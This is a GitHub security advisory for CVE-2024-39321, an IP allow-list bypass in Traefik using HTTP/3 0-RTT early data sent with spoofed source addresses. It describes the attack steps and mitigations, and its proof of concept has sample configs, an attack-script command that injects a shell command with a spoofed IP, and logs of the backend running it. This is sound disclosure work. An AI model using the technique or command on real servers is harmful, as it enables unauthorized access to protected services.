Skip to content

Bypassing IP allow-lists in traefik via HTTP/3 early data requests in QUIC 0-RTT handshakes

High severity GitHub Reviewed Published Jul 4, 2024 in traefik/traefik • Updated Aug 8, 2024

Package

gomod github.com/traefik/traefik/v2 (Go)

Affected versions

< 2.11.6

Patched versions

2.11.6
gomod github.com/traefik/traefik/v3 (Go)
>= 3.0.0-beta3, < 3.0.4
>= 3.1.0-rc1, < 3.1.0-rc3
3.0.4
3.1.0-rc3

Description

Impact

There is a vulnerability in Traefik that allows bypassing IP allow-lists via HTTP/3 early data requests in QUIC 0-RTT handshakes sent with spoofed IP addresses.

Patches

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary Bypassing IP allow-lists in traefik via HTTP/3 early data requests in QUIC 0-RTT handshakes sent with spoofed IP addresses.

Details

HTTP/3 supports sending HTTP requests as early data during QUIC 0-RTT handshakes to reduce RTT overhead for connection resumptions. Early data is sent and received before the handshake is completed and the client's IP address is validated.
The initial packet containing the QUIC 0-RTT handshake information and the early data HTTP request are sent as a single UDP datagram. Due to UDP being used by QUIC, the source IP address can be spoofed. When HTTP/3 servers process early data requests, the application layer only sees the unvalidated - possibly spoofed - IP address.

First, attackers have to obtain a session ticket from the HTTP/3 server. For that, attackers have to establish an HTTP/3 connection to the server - using their real IP address - and wait for the server to send a session ticket. Note that attackers do not have to send an actual HTTP request over the established connection. After obtaining the session ticket, the attacker can close the connection. In the second step, attackers need to prepare a UDP datagram containing a QUIC initial packet with a TLS ClientHello and the session ticket, a QUIC 0-RTT packet with early data encrypted with the pre-shared key from the session ticket, and an HTTP/3 request (open request stream, HEADERS frame, optionally DATA frame). This prepared UDP datagram can then be sent to the server with an arbitrarily spoofed source IP address in the IP packet header. When processing the HTTP request, the server trusts the spoofed IP address, which can be used to bypass IP-allow/block-lists.

A prerequisite for this attack to succeed is that HTTP/3 servers have implemented and enabled 0-RTT early data for HTTP/3 requests (and no mitigations are in place). A caveat is that attackers are not able to receive the server's response because the response is sent to the spoofed source IP address, making it a blind attack. Another limitation is that the request has to fit in a single UDP datagram, whose size is limited by the network path's MTU (minus some bytes for headers of encapsulating protocols such as HTTP/3, QUIC, UDP, IPv4/IPv6).

Impact

IP allow-lists can be bypassed. Early data in QUIC 0-RTT handshakes is enabled when HTTP/3 support is enabled.

Mitigation

  • Consider responding with HTTP status code 425 Too Early when 0-RTT early data requests match ipAllowList.sourceRange middleware. See RFC 8470 Section 3 for more information.
  • Alternatively, delay processing of 0-RTT early data requests until the handshake is completed and the client's IP address is validated when 0-RTT early data requests match ipAllowList.sourceRange middleware.

Additionally, it is recommended to implement RFC 8470 and set the Early-Data: 1 header when forwarding early data requests to backend services. Currently, applications are not able to distinguish between 0-RTT early data requests and regular requests. When applications use the client's IP in X-Forwarded-For headers (e.g. for rate limiting), they are not able to detect potential IP spoofing on the application layer.

Proof of Concept

Traefik is used as a HTTP/3 reverse proxy for a backend application. An IP allow list is configured to only allow access from the IP address 1.3.3.7.

# /etc/traefik/traefik.yml
entryPoints:
  websecure:
    address: ":4439"
    http3: {}
    asDefault: true

providers:
  file:
    filename: /etc/traefik/provider.yml

log:
  level: DEBUG
# /etc/traefik/provider.yml
http:
  routers:
    default:
      rule: "PathPrefix(`/`)"
      tls: {}
      middlewares:
        - ipfilter
      service: backend
  
  middlewares:
    ipfilter:
      ipAllowList:
        sourceRange:
          - "1.3.3.7/32"

  services:
    backend:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8000"

By performing the steps described above, attackers are able to bypass the IP allow list and send requests to the backend application. The security impact depends on the application's logic.

Please find attached a proof-of-concept docker-compose setup to demonstrate the vulnerability. It consists of a traefik reverse proxy, a backend application, and an attacker container. The attack script performs following request:

python3 http3_ip_spoofing.py https://127.0.0.1:4439/cmd -X POST -d "cmd=echo%20worked>>/tmp/spoofed" -H "X-Header: test" --spoofed-ip=1.3.3.7

Note: We use a custom python script because, curl does not support QUIC 0-RTT requests and session resumtion yet.

proof-of-concept.zip

Here are logs of a successful exploitation in the attached docker compose setup:

docker compose up

# Traefik startup logs
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/cmd/traefik/traefik.go:100 > Traefik version 3.0.3 built on 2024-06-18T14:31:20Z version=3.0.3
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/cmd/traefik/traefik.go:107 > Static configuration loaded [json] staticConfiguration={"entryPoints":{"websecure":{"address":":4439","asDefault":true,"forwardedHeaders":{},"http":{},"http2":{"maxConcurrentStreams":250},"http3":{},"transport":{"lifeCycle":{"graceTimeOut":"10s"},"respondingTimeouts":{"idleTimeout":"3m0s","readTimeout":"1m0s"}},"udp":{"timeout":"3s"}}},"global":{"checkNewVersion":true},"log":{"format":"common","level":"DEBUG"},"providers":{"file":{"filename":"/etc/traefik/provider.yml","watch":true},"providersThrottleDuration":"2s"},"serversTransport":{"maxIdleConnsPerHost":200},"tcpServersTransport":{"dialKeepAlive":"15s","dialTimeout":"30s"}}
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/cmd/traefik/traefik.go:605 > 
h3_traefik-1         | Stats collection is disabled.
h3_traefik-1         | Help us improve Traefik by turning this feature on :)
h3_traefik-1         | More details on: https://doc.traefik.io/traefik/contributing/data-collection/
h3_traefik-1         | 
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/server/configurationwatcher.go:73 > Starting provider aggregator aggregator.ProviderAggregator
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/server_entrypoint_tcp.go:220 > Starting TCP Server entryPointName=websecure
h3_traefik-1         | 2024-06-29T11:52:58Z DBG log/log.go:245 > 2024/06/29 11:52:58 sys_conn.go:36: failed to sufficiently increase receive buffer size (was: 208 kiB, wanted: 2048 kiB, got: 416 kiB). See https://github.com/quic-go/quic-go/wiki/UDP-Buffer-Sizes for details.
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:202 > Starting provider *file.Provider
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:203 > *file.Provider provider configuration config={"filename":"/etc/traefik/provider.yml","watch":true}
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/file/file.go:122 > add watcher on: /etc/traefik
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/file/file.go:122 > add watcher on: /etc/traefik/provider.yml
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:202 > Starting provider *traefik.Provider
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:203 > *traefik.Provider provider configuration config={}
h3_traefik-1         | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:202 > Starting provider *acme.ChallengeTLSALPN
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:203 > *acme.ChallengeTLSALPN provider configuration config={}
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/configurationwatcher.go:227 > Configuration received config={"http":{"middlewares":{"ipfilter":{"ipAllowList":{"sourceRange":["1.3.3.7/32"]}}},"routers":{"default":{"middlewares":["ipfilter"],"rule":"PathPrefix(`/`)","service":"backend","tls":{}}},"services":{"backend":{"loadBalancer":{"passHostHeader":true,"responseForwarding":{"flushInterval":"100ms"},"servers":[{"url":"http://127.0.0.1:8000"}]}}}},"tcp":{},"tls":{},"udp":{}} providerName=file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/configurationwatcher.go:227 > Configuration received config={"http":{"serversTransports":{"default":{"maxIdleConnsPerHost":200}},"services":{"noop":{}}},"tcp":{"serversTransports":{"default":{"dialKeepAlive":"15s","dialTimeout":"30s"}}},"tls":{},"udp":{}} providerName=internal
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/aggregator.go:51 > No entryPoint defined for this router, using the default one(s) instead entryPointName=["websecure"] routerName=default
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/tls/tlsmanager.go:321 > No default certificate, fallback to the internal generated certificate tlsStoreName=default
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/service/service.go:259 > Creating load-balancer entryPointName=websecure routerName=default@file serviceName=backend@file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/service/service.go:301 > Creating server entryPointName=websecure routerName=default@file serverName=754e0da3b063885a serviceName=backend@file target=http://127.0.0.1:8000
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/ipallowlist/ip_allowlist.go:33 > Creating middleware entryPointName=websecure middlewareName=ipfilter@file middlewareType=IPAllowLister routerName=default@file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/ipallowlist/ip_allowlist.go:57 > Setting up IPAllowLister with sourceRange: [1.3.3.7/32] entryPointName=websecure middlewareName=ipfilter@file middlewareType=IPAllowLister routerName=default@file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/observability/middleware.go:33 > Adding tracing to middleware entryPointName=websecure middlewareName=ipfilter@file routerName=default@file
h3_traefik-1         | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/recovery/recovery.go:22 > Creating middleware entryPointName=websecure middlewareName=traefik-internal-recovery middlewareType=Recover

# Attack script establishes an HTTP/3 connection to traefik to obtain a session ticket
attack-ipspoofing-1  | INFO:client:Initially connecting to server to get a session ticket
attack-ipspoofing-1  | INFO:quic:[e29b2e2fd9a76162] ALPN negotiated protocol h3
attack-ipspoofing-1  | INFO:quic:[e29b2e2fd9a76162] Connection close sent (code 0x0, reason )
attack-ipspoofing-1  | INFO:client:Initial connection done

# Traefik accepts the HTTP/3 connection and issues as session ticket 
h3_traefik-1         | 2024-06-29T11:53:03Z DBG github.com/traefik/traefik/v3/pkg/tls/tlsmanager.go:228 > Serving default certificate for request: ""

# Attack script sends a 0-RTT early data request in a UDP datagram with a spoofed source IP
attack-ipspoofing-1  | INFO:client:Building 0-RTT QUIC packet
attack-ipspoofing-1  | INFO:client:Setting up iptables rule for source IP spoofing
attack-ipspoofing-1  | INFO:client:Sending 0-RTT packet

# Traefik accepts and forwards the request to the backend service, bypassing the IP allow list
h3_traefik-1         | 2024-06-29T11:53:05Z DBG github.com/traefik/traefik/v3/pkg/middlewares/ipallowlist/ip_allowlist.go:85 > Accepting IP 1.3.3.7 middlewareName=ipfilter@file middlewareType=IPAllowLister
h3_traefik-1         | 2024-06-29T11:53:05Z DBG github.com/traefik/traefik/v3/pkg/server/service/loadbalancer/wrr/wrr.go:196 > Service selected by WRR: 754e0da3b063885a

# Backend service receives and processes the request
backend-1            | INFO:root:Request: {"ip": "1.3.3.7", "method": "POST", "path": "/cmd", "data": "cmd=echo%20worked>>/tmp/spoofed", "headers": {"Host": "127.0.0.1:4439", "Content-Length": "31", "Content-Type": "application/x-www-form-urlencoded", "X-Forwarded-For": "1.3.3.7", "X-Forwarded-Host": "127.0.0.1:4439", "X-Forwarded-Port": "4439", "X-Forwarded-Proto": "https", "X-Forwarded-Server": "work", "X-Header": "test", "X-Real-Ip": "1.3.3.7", "Accept-Encoding": "gzip"}}
backend-1            | INFO:root:Executing command: echo worked>>/tmp/spoofed
### References - https://github.com/traefik/traefik/security/advisories/GHSA-gxrv-wf35-62w9 - https://nvd.nist.gov/vuln/detail/CVE-2024-39321 - https://github.com/traefik/traefik/releases/tag/v2.11.6 - https://github.com/traefik/traefik/releases/tag/v3.0.4 - https://github.com/traefik/traefik/releases/tag/v3.1.0-rc3
@nmengin nmengin published to traefik/traefik Jul 4, 2024
Published by the National Vulnerability Database Jul 5, 2024
Published to the GitHub Advisory Database Jul 5, 2024
Reviewed Jul 5, 2024
Last updated Aug 8, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

0.045%
(17th percentile)

Weaknesses

CVE ID

CVE-2024-39321

GHSA ID

GHSA-gxrv-wf35-62w9

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.